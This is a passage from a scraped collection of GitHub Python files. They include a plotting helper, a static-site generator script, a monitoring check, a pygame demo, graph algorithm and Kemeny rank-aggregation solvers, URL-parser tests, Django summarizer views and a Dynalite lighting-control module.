plot(spectral_rings[\"ring_pixel_sets\"][counter][0],\n title = \"Ring pixel set {}\".format(counter), ipython = ipython)\n for counter in range(len(spectral_rings[\"gradients\"])):\n plot(spectral_rings[\"gradients\"][counter],\n title = \"Gradients\", ipython = ipython)\n plot(spectral_rings[\"upper_percentile_regions\"],\n title = \"lower_percentile_regions\", ipython = ipython)\n plot(spectral_rings[\"lower_percentile_regions\"],\n title = \"upper_percentile_regions\", ipython = ipython)\n for counter in range(len(spectral_rings[\"construction\"])):\n plot(spectral_rings[\"construction\"][counter],\n title = \"Construction {}\".format(counter), ipython = ipython)\n for counter in range(len(spectral_rings[\"ring_fit\"])):\n plot(spectral_rings[\"ring_fit\"][counter],\n title = \"Ring fit {}\".format(counter), ipython = ipython)\n print(\"Ring {} parameters: {}\".format(\n counter, spectral_rings[\"ring_fit_parameters\"]))\n for counter in range(len(spectral_rings[\"rings\"])):\n print(\"Ring {} = {}\".format(counter, spectral_rings[\"rings\"][counter]))\n for counter in range(len(spectral_rings[\"concentric_rings\"])):\n print(\"Concentric ring {} = {}\".format(\n counter, spectral_rings[\"concentric_rings\"][counter]))\n","repo_name":"rcbrgs/tuna","sub_path":"tuna/tools/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24012783628","text":"#!/usr/bin/python\r\n\r\nimport sys\r\nimport os\r\n\r\n\r\n\r\nowd = os.environ['WIKIPROTPATH']+'Scanners/'\r\nos.chdir(owd)\r\ndirectoryList1 = next(os.walk('.'))[1]\r\n#print(directoryList1)\r\n\r\nimport webpageCreator\r\nprint(sys.argv[1])\r\nif len(sys.argv) > 1:\r\n link = sys.argv[1]\r\nelse:\r\n link = 'https://msveiven.github.io'\r\n\r\n#url = sys.argv[1]\r\n#print(sys.argv[1])\r\n#webpageCreator.webpage(os.getcwd(), url)\r\nwebpageCreator.webpage(os.environ['WIKIPROTPATH']+'Scanners')\r\n\r\n\r\ni = 0\r\nwhile (i < len(directoryList1)):\r\n if (directoryList1[i] != 'apps'):\r\n if (directoryList1[i] != 'files'):\r\n if (directoryList1[i] != 'uploads'):\r\n if (directoryList1[i] != '.idea'):\r\n\r\n import webpageCreator\r\n\r\n # webpageCreator.webpage(os.path.abspath(directoryList1[i]), url)\r\n webpageCreator.webpage(os.path.abspath(directoryList1[i]))\r\n\r\n\r\n directoryList2 = next(os.walk('.'))[1]\r\n sowd = os.getcwd()\r\n\r\n\r\n j = 0\r\n while (j < len(directoryList2)):\r\n if (directoryList2[j] != 'apps'):\r\n if (directoryList2[j] != 'files'):\r\n if (directoryList2[j] != 'uploads'):\r\n if (directoryList2[j] != '.idea'):\r\n\r\n# webpageCreator.webpage(os.path.abspath(directoryList2[j]), url)\r\n webpageCreator.webpage(os.path.abspath(directoryList2[j]))\r\n\r\n# print(os.getcwd())\r\n os.chdir(sowd)\r\n # print(os.getcwd())\r\n\r\n j = j + 1\r\n\r\n # print(os.getcwd())\r\n os.chdir(owd)\r\n # print(os.getcwd())\r\n\r\n i = i + 1\r\n\r\n","repo_name":"msveiven/ProtParserWiki4","sub_path":"websiteCreator.py","file_name":"websiteCreator.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36444602396","text":"from Utils.utils import Utils\n\nclass Monitor:\n\n util = Utils()\n\n def verifyAPMMonitor(self):\n health_status = ['health-status red', 'health-status green', 'health-status yellow', 'health-status gray'] #Declare Status \n monitor_name= ['BM Prod', 'IB Prod', 'CTF Prod'] #Declare Monitors\n class_attribute, other_attribute = (self.util.getAllItemsOfTableByAttribute('//table[@class=\"agent_summary_table tablesorter\"]//td/a', 'class')) #Get elements of the table by class \n _name=[] #Declare variables to build the word \n _monitor=[]#Declare variables to build the word \n\n for monitor, other in zip(class_attribute, other_attribute): #Show the lists the first return status color and second return its properties\n\n if (other in monitor_name): #Verify if exists the 'BM Prod' in the list name_monitor and print monitor and assign the monitor name\n _name.append(other)\n if (monitor in health_status): #Verify if exists the 'health-status green' in the list health_status and assign the color status\n _monitor.append(monitor)\n\n list = (set(zip(_name, _monitor))) #Convert elements to list\n message= 'Verify APM Monitors\\n'#Declare variable to save message\n\n for i in list: #Show elemets of the list to know its status\n if 'health-status gray' in i:\n message += ('Error: Monitor {0} has is not reporting has a status {1}.\\n'.format(i[0],i[1].split(' ')[1]))\n elif 'health-status red' in i:\n message+=('Warning: Monitor {0} is reporting status {1}.\\n'.format(i[0],i[1].split(' ')[1]))\n elif 'health-status green' in i:\n message+=('Great: Monitor {0} is reporting sucessfully status {1}.\\n'.format(i[0],i[1].split(' ')[1]))\n\n self.util.setLog(message) #Show log message","repo_name":"jesussalatiel/NewRelic_Reports","sub_path":"Methods/Monitor.py","file_name":"Monitor.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44431185427","text":"import pygame\nfrom Car import Car\nfrom color import RED, WHITE\n\n\n# 우리의 어플리케이션!\nclass App:\n def __init__(self):\n self.running = True\n self.clock = pygame.time.Clock()\n\n # 게임의 창 크기\n self.size = self.weight, self.height = 640, 400\n\n # FPS, Frame per second\n # 화면이 몇 초에 한번씩 바뀔 것인가를 설정, FPS, 1초에 60번 화면을 업데이트\n self.FPS = 60\n\n def on_init(self):\n pygame.init()\n\n # 디스플레이 모드 설정, self.screen에는 화면을 그릴 수 있도록 해주는 object가 담긴다\n self.screen = pygame.display.set_mode(self.size, 0, 16)\n\n # 창의 색깔을 정한다\n self.screen.fill(WHITE)\n\n # 창의 이름을 정한다.\n pygame.display.set_caption(\"Car Racing\")\n\n # running flag, True 일때 게임이 계속되고 false 일때 종료된다\n self.running = True\n\n # 게임의 모든 sprite를 포함하는 변수\n self.sprites = pygame.sprite.Group()\n\n # 플레이어의 자동차 하나를 만든다\n playerCar = Car(RED, 20, 30)\n playerCar.rect.x = 0\n playerCar.rect.y = 0\n\n # 플레이어의 자동차를 게임에 추가한다\n self.sprites.add(playerCar)\n\n def on_event(self, event):\n if event.type == pygame.QUIT:\n self.running = False\n\n def on_loop(self):\n self.sprites.update()\n\n def on_render(self):\n self.sprites.draw(self.screen)\n\n # 화면 업데이트\n pygame.display.flip()\n\n def on_cleanup(self):\n pygame.quit()\n\n def on_execute(self):\n # 이 코드는 무시하셔도 좋습니다.\n if self.on_init() == False:\n self.running = False\n\n while(self.running):\n for event in pygame.event.get():\n self.on_event(event)\n self.on_loop()\n self.on_render()\n\n # 화면이 몇 초에 한번씩 바뀔 것인가를 설정, FPS, 1초에 60번 화면을 업데이트\n self.clock.tick(self.FPS)\n self.on_cleanup()\n\n\nif __name__ == \"__main__\":\n theApp = App()\n theApp.on_execute()\n","repo_name":"Coin-CodingPeople/pygame-lecture","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13618585872","text":"N, M = tuple(map(int, input().split()))\nMAX_INT = N * (N * (N - 1) / 2) + 1\ngraph = [[MAX_INT] * (N + 1) for _ in range(N + 1)]\n\nfor i in range(1, N + 1):\n graph[i][i] = 0\n\nfor _ in range(M):\n a, b = tuple(map(int, input().split()))\n graph[a][b] = 1\n\nfor k in range(1, N + 1):\n for i in range(1, N + 1):\n for j in range(1, N + 1):\n graph[i][j] = min(graph[i][j], graph[i][k] + graph[k][j])\n\nanswer = 0\nfor i in range(1, N + 1):\n count = 0\n for j in range(1, N + 1):\n # 자기 자신이 아니면서, 최단 거리가 갱신되어 있다면, 연결\n if 0 < graph[i][j] < MAX_INT or 0 < graph[j][i] < MAX_INT:\n count += 1\n\n if count == N - 1:\n answer += 1\n\nprint(answer)\n\n'''\n6 6\n1 5\n3 4\n5 4\n4 2\n4 6\n5 2\n'''\n","repo_name":"hyeyoungs/ProblemSolving","sub_path":"Graph/Baek_2458_2.py","file_name":"Baek_2458_2.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15985871887","text":"import pytest\n\nimport easydata as ed\n\ntest_url_with_qs = \"https://demo.com/?home=true\"\ntest_url_partial = \"/product/1122\"\ntest_url_missing_protocol = \"//demo.com/product/1122\"\ntest_url_nested = (\n \"https://app.link?url=https%3A%2F%2Fwww.demo.com\" \"%2Fproduct%2F1122%3Fcolor%3Dgray\"\n)\n\n\n@pytest.mark.parametrize(\n \"test_data, result\",\n [\n (\"Home url is: https://demo.com/home !!!\", \"https://demo.com/home\"),\n ],\n)\ndef test_url_from_text(test_data, result):\n url_parser = ed.Url(from_text=True)\n\n assert url_parser.parse(test_data) == result\n\n\n@pytest.mark.parametrize(\n \"qs, test_data, result\",\n [\n ({\"home\": \"false\"}, test_url_with_qs, \"https://demo.com/?home=false\"),\n ({\"country\": \"SI\"}, test_url_with_qs, \"https://demo.com/?home=true&country=SI\"),\n ],\n)\ndef test_url_qs(qs, test_data, result):\n url_parser = ed.Url(qs=qs)\n\n assert url_parser.parse(test_data) == result\n\n\n@pytest.mark.parametrize(\n \"remove_qs, test_data, result\",\n [\n (True, test_url_with_qs, \"https://demo.com/\"),\n (\"home\", test_url_with_qs, \"https://demo.com/\"),\n ([\"home\"], test_url_with_qs, \"https://demo.com/\"),\n (True, None, None),\n (True, \"\", None),\n ],\n)\ndef test_url_remove_qs(remove_qs, test_data, result):\n url_parser = ed.Url(remove_qs=remove_qs)\n\n assert url_parser.parse(test_data) == result\n\n\n@pytest.mark.parametrize(\n \"default, test_data, result\",\n [\n (\"https://demo.com\", None, \"https://demo.com\"),\n (\"https://demo.com\", \"\", \"https://demo.com\"),\n ],\n)\ndef test_url_default_value(default, test_data, result):\n url_parser = ed.Url(default=default)\n\n assert url_parser.parse(test_data) == result\n\n\n@pytest.mark.parametrize(\n \"domain, test_data, result\",\n [\n (\"demo.com\", test_url_partial, \"https://demo.com/product/1122\"),\n (\"https://demo.com\", test_url_partial, \"https://demo.com/product/1122\"),\n ],\n)\ndef test_url_domain(domain, test_data, result):\n url_parser = ed.Url(domain=domain)\n\n assert url_parser.parse(test_data) == result\n\n\n@pytest.mark.parametrize(\n \"test_url, result\",\n [\n (test_url_missing_protocol, \"https://demo.com/product/1122\"),\n ],\n)\ndef test_url_normalize(test_url, result):\n url_parser = ed.Url(normalize=True)\n\n assert url_parser.parse(test_url) == result\n\n\n@pytest.mark.parametrize(\n \"test_url, query_key, qs, result\",\n [\n (\"https://demo.com/?country=SI\", \"country\", None, \"SI\"),\n (test_url_nested, \"url\", None, \"https://www.demo.com/product/1122?color=gray\"),\n (\n test_url_nested,\n \"url\",\n {\"color\": \"black\"},\n \"https://www.demo.com/product/1122?color=black\",\n ),\n ],\n)\ndef test_url_from_qs(test_url, query_key, qs, result):\n url_parser = ed.Url(from_qs=query_key, qs=qs)\n\n assert url_parser.parse(test_url) == result\n\n\n@pytest.mark.parametrize(\n \"config_dict, result\",\n [\n ({\"ED_URL_DOMAIN\": \"demo.com\"}, \"https://demo.com/product/1122\"),\n (\n {\"ED_URL_DOMAIN\": \"demo.com\", \"ED_URL_PROTOCOL\": \"ftp\"},\n \"ftp://demo.com/product/1122\",\n ),\n ],\n)\ndef test_url_config(config_dict, result):\n url_parser = ed.Url()\n\n url_parser.init_config(config_dict)\n\n assert url_parser.parse(test_url_partial) == result\n","repo_name":"easydatapy/easydata","sub_path":"tests/parsers/test_url.py","file_name":"test_url.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"27111773820","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth import login, authenticate, logout\nfrom account.forms import RegistrationForm, AccountAuthenticationForm, AccountUpdateForm\n# NLP Pkgs\nimport spacy \nnlp = spacy.load('en_core_web_sm')\n# Pkgs for Normalizing Text\nfrom spacy.lang.en.stop_words import STOP_WORDS\nfrom string import punctuation\n# Import Heapq for Finding the Top N Sentences\nfrom heapq import nlargest\n\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\n\n\n\ndef registration_view(request):\n\tcontext = {}\n\tif request.POST:\n\t\tform = RegistrationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\temail = form.cleaned_data.get('email')\n\t\t\traw_password = form.cleaned_data.get('password1')\n\t\t\taccount = authenticate(email=email, password=raw_password)\n\t\t\tif account is not None:\n\t\t\t\tlogin(request, account)\n\t\t\t\treturn redirect('home')\n\t\telse:\n\t\t\tcontext['registration_form'] = form\n\telse:\n\t\tform = RegistrationForm()\n\t\tcontext['registration_form'] = form\n\treturn render(request, 'account/register.html',context)\n\n\n\n\n\ndef logout_view(request):\n\tlogout(request)\n\treturn redirect('home')\n\n\n\n\n\ndef login_view(request):\n\tcontext = {}\n\n\tuser = request.user\n\tif user.is_authenticated:\n\t\treturn redirect(\"home\")\n\n\tif request.POST:\n\t\tform = AccountAuthenticationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\temail = request.POST['email']\n\t\t\tpassword = request.POST['password']\n\t\t\tuser = authenticate(email=email, password=password)\n\n\t\t\tif user:\n\t\t\t\tlogin(request, user)\n\t\t\t\treturn redirect(\"home\")\n\n\telse:\n\t\tform = AccountAuthenticationForm()\n\n\tcontext['login_form'] = form\n\treturn render(request, 'account/login.html',context)\n\n\n\n\ndef account_view(request):\n\tif not request.user.is_authenticated:\n\t\treturn redirect(\"login\")\n\n\tcontext = {}\n\n\tif request.POST:\n\t\tform = AccountUpdateForm(request.POST, instance=request.user)\n\t\tif form.is_valid():\n\t\t\tform.initial = {\n\t\t\t\t\t\"email\": request.POST['email'],\n\t\t\t\t\t\"username\": request.POST['username'],\n\t\t\t\t\t}\n\t\t\tform.save()\n\t\t\tcontext['success_message'] = \"update\"\n\t\t\t\n\t\t\t\n\n\n\telse:\n\t\tform = AccountUpdateForm(\n\t\t\t\tinitial={\n\t\t\t\t\t\"email\": request.user.email,\n\t\t\t\t\t\"username\": request.user.username,\n\t\t\t\t}\n\t\t\t)\n\n\tcontext['account_form'] = form\n\treturn render(request, 'account/account.html',context)\n\n\n\n# Design\ndef project_view(request):\n\treturn render(request,'account/project.html')\n\ndef project_sum(request):\n\treturn render(request,'account/project_summerize.html')\n\ndef upload(request):\n\treturn render(request, 'account/upload.html')\n\ndef url_view(request):\n\treturn render(request,'account/url_summerize.html')\n\n\n\n# Default Summerizer\ndef text_summarizer(raw_docx):\n raw_text = raw_docx\n docx = nlp(raw_text)\n stopwords = list(STOP_WORDS)\n # Build Word Frequency # word.text is tokenization in spacy\n word_frequencies = {} \n for word in docx: \n if word.text not in stopwords:\n if word.text not in word_frequencies.keys():\n word_frequencies[word.text] = 1\n else:\n word_frequencies[word.text] += 1\n\n maximum_frequncy = max(word_frequencies.values())\n\n for word in word_frequencies.keys(): \n word_frequencies[word] = (word_frequencies[word]/maximum_frequncy)\n # Sentence Tokens\n sentence_list = [ sentence for sentence in docx.sents ]\n\n # Sentence Scores\n sentence_scores = {} \n for sent in sentence_list: \n for word in sent:\n if word.text.lower() in word_frequencies.keys():\n if len(sent.text.split(' ')) < 30:\n if sent not in sentence_scores.keys():\n sentence_scores[sent] = word_frequencies[word.text.lower()]\n else:\n sentence_scores[sent] += word_frequencies[word.text.lower()]\n\n summarized_sentences = nlargest(7, sentence_scores, key=sentence_scores.get)\n final_sentences = [ w.text for w in summarized_sentences ]\n text_summarizer.summary = ' '.join(final_sentences)\n\n return text_summarizer.summary\n\n\n\n\n\n# Paragraph_Summerize\ndef result_view(request):\n\tif request.method == 'POST':\n\t\tresult=\"\"\n\t\tval1 = str(request.POST['num']) \n\t\tfor i in val1:\n\t\t\tresult+=i\n\t\t\n\t\ttext_summarizer(result)\n\t\treturn render(request, \"account/result.html\", {\"result1\":text_summarizer.summary})\n\n\n# Url_Summerize\ndef result_url(request):\n\n\tif request.method == 'POST':\n\t\tval1 = str(request.POST['num']) \n\t\tpage = urlopen(val1)\n\t\tsoup = BeautifulSoup(page,'lxml')\n\t\tresult_url.fetched_text = ''.join(map(lambda p:p.text,soup.find_all('p')))\n\t\ttext_summarizer(result_url.fetched_text)\n\t\treturn render(request, \"account/result.html\", {\"result2\":text_summarizer.summary})\n\n# File_summerize\ndef result_file(request):\n\n\tif request.method == 'POST':\n\t\tupload_file = request.FILES['document']\n\t\tsoup = BeautifulSoup(upload_file,'lxml')\n\t\tresult_file.fetched_text = ''.join(map(lambda p:p.text,soup.find_all('p')))\n\t\tprint(result_file.fetched_text)\n\t\ttext_summarizer(result_file.fetched_text)\n\t\treturn render(request, \"account/result.html\", {\"result3\":text_summarizer.summary})\n\n\n\t\t","repo_name":"tamilalakan/ml-in-django","sub_path":"src/account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14939674467","text":"import utils\nimport pulp as plp \nimport itertools\nimport math\n\nALGORITHM_NAME = \"OPTIMAL_SOLUTION\"\n\ndef solve(data, params, lpRelaxation=False, baseList=None, permBound=None):\n \"\"\"\n Outputs a full-ranking.\n \n If lpRexalaxation is False, the\n output full-ranking minimizes \n distance to the top-lists in data \n under the following constraint:\n only the first permBound items of \n the full-ranking specified by baseList\n can be permuted.\n\n If lpRelaxation is True, \n a non-optimal solution may be returned, as \n a linear-programming relaxation of \n the optimal integer-program will be \n utilized.\n -------------------------------------\n\n Params\n\n 'data': Counter object \n The keys in this Counter are tuple top-lists and the \n values are the mulitiplicities of each top-list. Both \n the elements in the tuples and the values are ints\n\n 'params': dict\n A python dictionary with that holds statics and info\n on the dataset stored on 'data'. Some of the keys are\n 'n', 'N', 'k', and 'theta'. Refer to sim.py for full\n documentation.\n\n 'lpRelaxation'\" boolean\n True if a linaer programming relaxation should be \n utilized, False otherwise. \n\n If not provided, the exact integer-programming \n solution will be utilized.\n\n 'baseList': list or tuple\n List that determines which items cannot be permuted.\n The baseList must be a full-ranking.\n See function description for further details. \n\n If not provided, all possible full-rankings are \n considered.\n \n 'permBound': int\n Only the first permBound items of baseList \n can be permuted. Must be at least one.\n\n If not provided, all possible full-rankings are \n considered.\n \n ------------------------------------\n\n Returns \n\n sigma: tuple\n The optimal full-ranking, given \n the provided constraints\n\n \"\"\"\n # 'n' is the number of candidates, also the number of ranks\n n = params['n']\n\n # 'N' is the number of voters\n N = params['N']\n \n # Handle default arguments\n if baseList is None:\n baseList = [i for i in range(n)]\n\n if permBound is None or permBound > n:\n permBound = n\n \n # Spaces are not supported by Pulp, use '_' \n # to separate names instead\n # Otherwise, Pulp will generate warnings\n separator = \"_\"\n\n programType = \"Linear\" if lpRelaxation else \"Integer\"\n model = plp.LpProblem(f\"Kemeny{separator}{programType}{separator}Program\")\n\n indices = set(baseList[:permBound])\n # Remove unranked candidates since they contribute nothing to the cost\n unrankedCandidates = set(utils.unrankedAlternatives(data, n ,N))\n\n # Indices will contain only candidates in the permutable portion\n # of baseList that are ranked at least once \n permutableUnrankedCandidates = indices & unrankedCandidates\n indices = list(indices - permutableUnrankedCandidates)\n\n fixedElements = baseList[permBound:]\n\n if len(indices) <= 1:\n indices.extend(permutableUnrankedCandidates)\n indices.extend(fixedElements)\n return tuple(indices)\n \n indexPermutations = tuple(pair for pair in itertools.permutations(indices, r=2))\n indexCombinations = tuple(pair for pair in itertools.combinations(indices, r=2))\n \n # Overview: First, compute the top-permBound-list that has the minimum average kendall-Tau \n # distance to the top-lists in data using integer-programming. Second, append the \n # unpermutable portion of baseList onto the end of the top-permBound-list from step one.\n \n # precedenceMatrix still n by n because, otherwise, \n # there can be out-of-bound errors when constructing \n # precedenceMatrix, and a candidate with a numeric \n # label >= permBound is considered.\n precedenceMatrix = utils.precedenceMatrix(data, n)\n\n # x_{i,j} is a binary variable since the full-ranking either places \n # candidate i before candidate j, or it does not\n\n # Using LpBinary works fine, too, but this way the bounds set in \n # are not redundant\n variableType = plp.LpContinuous if lpRelaxation else plp.LpInteger\n\n x_vars = {(i,j) : plp.LpVariable(cat=variableType,\n lowBound=0,\n upBound=1,\n name=f\"{i}{separator}{j}\") for i,j in indexPermutations}\n\n # Set constraints\n\n # Any valid full-ranking has no ties, so we must have that \n # x_{i,j} + x_{j,i} = 1\n # which means that either i precedes j, or j precedes i\n #\n # Uses combinations to avoid duplicate constraints\n for i, j in indexPermutations:\n model.addConstraint(plp.LpConstraint(\n e=plp.LpAffineExpression(\n [(x_vars[(i,j)], 1), (x_vars[(j,i)], 1)]),\n sense=plp.LpConstraintEQ,\n rhs=1,\n name=f\"Strict{separator}ranking{separator}{i}{separator}{j}\"))\n\n # Enforce transitivity: if i precedes j, and j precedes k, i must precede k\n # Uses permutations because enforicing transitivity requires considering \n # different potential orderings of i, j, and k relative to each other\n if len(indices) >= 3:\n for i,j,k in itertools.permutations(indices, r=3):\n model.addConstraint(plp.LpConstraint(\n e=plp.LpAffineExpression(\n [(x_vars[(i,j)], 1), (x_vars[(j,k)], 1), (x_vars[(k,i)], 1)]),\n sense=plp.LpConstraintGE,\n rhs=1,\n name=f\"Transitivity{separator}{i}{separator}{j}{separator}{k}\"))\n\n # Define the objective function for Kemeny\n # If a list ranks j before i, then the contributed cost is the number \n # of voters that ranked i before j, which is precedenceMatrix[i,j]\n # (and vice versa when i and j have swapped order)\n #\n # Uses combinations to avoid counting the cost of \n # a given swap twice, which improves performance\n kendall_dist = plp.lpSum(precedenceMatrix[i,j] *\n x_vars[j,i] + \n precedenceMatrix[j,i] * \n x_vars[i,j] \n for i,j in indexCombinations)\n\n # Require Kemeny-distance to be minimized\n model.sense = plp.LpMinimize\n model.setObjective(kendall_dist)\n\n # msg = False suppresses log information\n model.solve(plp.GUROBI(msg=False))\n\n # Dictionary to track how many candidates a given candidate precedes\n precedenceFreqency = {i:0 for i in indices}\n\n for var in model.variables():\n # Process the string name of variable\n name = var.name\n candidateLabels = name.split(separator)\n i = int(candidateLabels[0])\n\n value = var.varValue\n\n # Update precedence frequency if i precedes a candidate j\n #\n # Comparisons handle the case that linear programming was used\n if value >= .5:\n precedenceFreqency[i] += 1\n\n # Sort candidates starting with those that precede the most candidates\n sigma = [candidate for candidate, _ in precedenceFreqency.items()]\n sigma.sort(key=lambda num : precedenceFreqency[num], reverse=True)\n\n # Add back the unranked candidates\n # that were in the permutable portion \n # of baseList\n sigma.extend(permutableUnrankedCandidates)\n\n # Append the fixed portion of baseList onto \n # the optimal sigma, assuming some items of \n # the baseList are fixed\n if permBound < n:\n sigma.extend(fixedElements)\n\n # Convert to tuple for consistency\n return tuple(sigma)\n","repo_name":"ammareltigani/top-lists-aggregation","sub_path":"code/integer_program.py","file_name":"integer_program.py","file_ext":"py","file_size_in_byte":7939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15230498368","text":"\"\"\"Class to create devices from a Dynalite hub.\"\"\"\n\nimport asyncio\nfrom typing import Any, Callable, Dict, List, Optional, Set, Union\n\nfrom .config import DynaliteConfig\nfrom .const import (\n ACTIVE_INIT,\n ACTIVE_ON,\n CONF_ACT_LEVEL,\n CONF_ACTION,\n CONF_ACTION_CMD,\n CONF_ACTION_PRESET,\n CONF_ACTION_REPORT,\n CONF_ACTION_STOP,\n CONF_AREA,\n CONF_AREA_OVERRIDE,\n CONF_CHANNEL,\n CONF_CHANNEL_COVER,\n CONF_CHANNEL_TYPE,\n CONF_CLOSE_PRESET,\n CONF_DEVICE_CLASS,\n CONF_DURATION,\n CONF_FADE,\n CONF_HIDDEN_ENTITY,\n CONF_LEVEL,\n CONF_NAME,\n CONF_NONE,\n CONF_OPEN_PRESET,\n CONF_PRESET,\n CONF_QUERY_CHANNEL,\n CONF_ROOM,\n CONF_ROOM_OFF,\n CONF_ROOM_ON,\n CONF_STOP_PRESET,\n CONF_TEMPLATE,\n CONF_TILT_TIME,\n CONF_TIME_COVER,\n CONF_TRGT_LEVEL,\n DEFAULT_CHANNEL_TYPE,\n DEFAULT_COVER_CLASS,\n EVENT_CHANNEL,\n EVENT_CONNECTED,\n EVENT_DISCONNECTED,\n EVENT_PACKET,\n EVENT_PRESET,\n LOGGER,\n NOTIFICATION_PACKET,\n NOTIFICATION_PRESET,\n)\nfrom .cover import DynaliteTimeCoverDevice, DynaliteTimeCoverWithTiltDevice\nfrom .dynalite import Dynalite\nfrom .dynalitebase import DynaliteBaseDevice\nfrom .event import DynetEvent\nfrom .light import DynaliteChannelLightDevice\nfrom .switch import (\n DynaliteChannelSwitchDevice,\n DynaliteDualPresetSwitchDevice,\n DynalitePresetSwitchDevice,\n)\n\n\nclass DynaliteNotification:\n \"\"\"A notification from the network that is sent to the application.\"\"\"\n\n def __init__(self, notification: str, data: Dict[str, Any]):\n \"\"\"Create a notification.\"\"\"\n self.notification = notification\n self.data = data\n\n def __repr__(self):\n \"\"\"Print a notification for logs.\"\"\"\n return (\n \"DynaliteNotification(notification=\"\n + self.notification\n + \", data=\"\n + str(self.data)\n + \")\"\n )\n\n def __eq__(self, other):\n \"\"\"Compare two notification, mostly for debug.\"\"\"\n return self.notification == other.notification and self.data == other.data\n\n\nclass DynaliteDevices:\n \"\"\"Manages a single Dynalite bridge.\"\"\"\n\n def __init__(\n self,\n new_device_func: Callable[[List[DynaliteBaseDevice]], None],\n update_device_func: Callable[[Optional[DynaliteBaseDevice]], None],\n notification_func: Callable[[DynaliteNotification], None],\n ) -> None:\n \"\"\"Initialize the system.\"\"\"\n self._host = \"\"\n self._port = 0\n self.name = None # public\n self._poll_timer = 0.0\n self._default_fade = 0.0\n self._default_query_channel = 0\n self._active = \"\"\n self._auto_discover = None\n self._loop: Optional[asyncio.AbstractEventLoop] = None\n self._new_device_func = new_device_func\n self._update_device_func = update_device_func\n self._notification_func = notification_func\n self._configured = False\n self.connected = False # public\n self._added_presets: Dict[int, Any] = {}\n self._added_channels: Dict[int, Any] = {}\n self._added_room_switches: Dict[int, Any] = {}\n self._added_time_covers: Dict[int, Any] = {}\n self._waiting_devices: List[DynaliteBaseDevice] = []\n self._timer_active = False\n self._timer_callbacks: Set[Callable[[], None]] = set()\n self._area: Dict[int, Any] = {}\n self._dynalite = Dynalite(broadcast_func=self.handle_event)\n self._resetting = False\n self._default_presets: Dict[int, Any] = {}\n\n async def async_setup(self) -> bool:\n \"\"\"Set up a Dynalite bridge based on host parameter in the config.\"\"\"\n LOGGER.debug(\"bridge async_setup\")\n self._loop = asyncio.get_running_loop()\n # Run the dynalite object. Assumes self.configure() has been called\n self._resetting = False\n self.connected = await self._dynalite.connect(self._host, self._port)\n return self.connected\n\n def configure(self, config: Dict[str, Any]) -> None:\n \"\"\"Configure a Dynalite bridge.\"\"\"\n LOGGER.debug(\"bridge async_configure - %s\", config)\n self._configured = False\n configurator = DynaliteConfig(config)\n # insert the global values\n self._host = configurator.host\n self._port = configurator.port\n self.name = configurator.name\n self._auto_discover = configurator.auto_discover\n self._active = configurator.active\n self._poll_timer = configurator.poll_timer\n self._default_fade = configurator.default_fade\n self._default_query_channel = configurator.default_query_channel\n # keep the old values in case of a reconfigure, for auto discovery\n old_area = self._area\n self._area = configurator.area\n for area in old_area:\n if area not in self._area:\n self._area[area] = old_area[area]\n self._default_presets = configurator.default_presets\n # now register the channels and presets and ask for initial status if needed\n for area in self._area:\n if self._active in [ACTIVE_INIT, ACTIVE_ON]:\n self.request_area_preset(area, self._area[area][CONF_QUERY_CHANNEL])\n for channel in self._area[area][CONF_CHANNEL]:\n self.create_channel_if_new(area, channel)\n if self._active in [ACTIVE_INIT, ACTIVE_ON]:\n self.request_channel_level(area, channel)\n for preset in self._area[area][CONF_PRESET]:\n self.create_preset_if_new(area, preset)\n # register the rooms (switches on presets 1/4)\n # all the devices should be created for channels and presets\n self.register_rooms()\n # register the time covers\n self.register_time_covers()\n # callback for all devices\n if self._new_device_func and self._waiting_devices:\n self._new_device_func(self._waiting_devices)\n self._waiting_devices = []\n self._configured = True\n\n def register_rooms(self) -> None:\n \"\"\"Register the room switches from two normal presets each.\"\"\"\n for area, area_config in self._area.items():\n if area_config.get(CONF_TEMPLATE, \"\") == CONF_ROOM:\n if area in self._added_room_switches:\n continue\n new_device = DynaliteDualPresetSwitchDevice(area, self, False)\n self._added_room_switches[area] = new_device\n new_device.set_device(\n 1, self._added_presets[area][area_config[CONF_ROOM_ON]]\n )\n new_device.set_device(\n 2, self._added_presets[area][area_config[CONF_ROOM_OFF]]\n )\n self.register_new_device(new_device)\n\n def register_time_covers(self) -> None:\n \"\"\"Register the time covers from three presets and a channel each.\"\"\"\n for area, area_config in self._area.items():\n if area_config.get(CONF_TEMPLATE, \"\") == CONF_TIME_COVER:\n if area in self._added_time_covers:\n continue\n if area_config[CONF_TILT_TIME] == 0:\n new_device = DynaliteTimeCoverDevice(\n area, self, self._poll_timer, False\n )\n else:\n new_device = DynaliteTimeCoverWithTiltDevice(\n area, self, self._poll_timer, False\n )\n self._added_time_covers[area] = new_device\n new_device.set_device(\n 1, self._added_presets[area][area_config[CONF_OPEN_PRESET]]\n )\n new_device.set_device(\n 2, self._added_presets[area][area_config[CONF_CLOSE_PRESET]]\n )\n new_device.set_device(\n 3, self._added_presets[area][area_config[CONF_STOP_PRESET]]\n )\n if area_config[CONF_CHANNEL_COVER] != 0:\n channel_device = self._added_channels[area][\n area_config[CONF_CHANNEL_COVER]\n ]\n new_device.set_device(4, channel_device)\n self.register_new_device(new_device)\n\n def register_new_device(self, device: DynaliteBaseDevice) -> None:\n 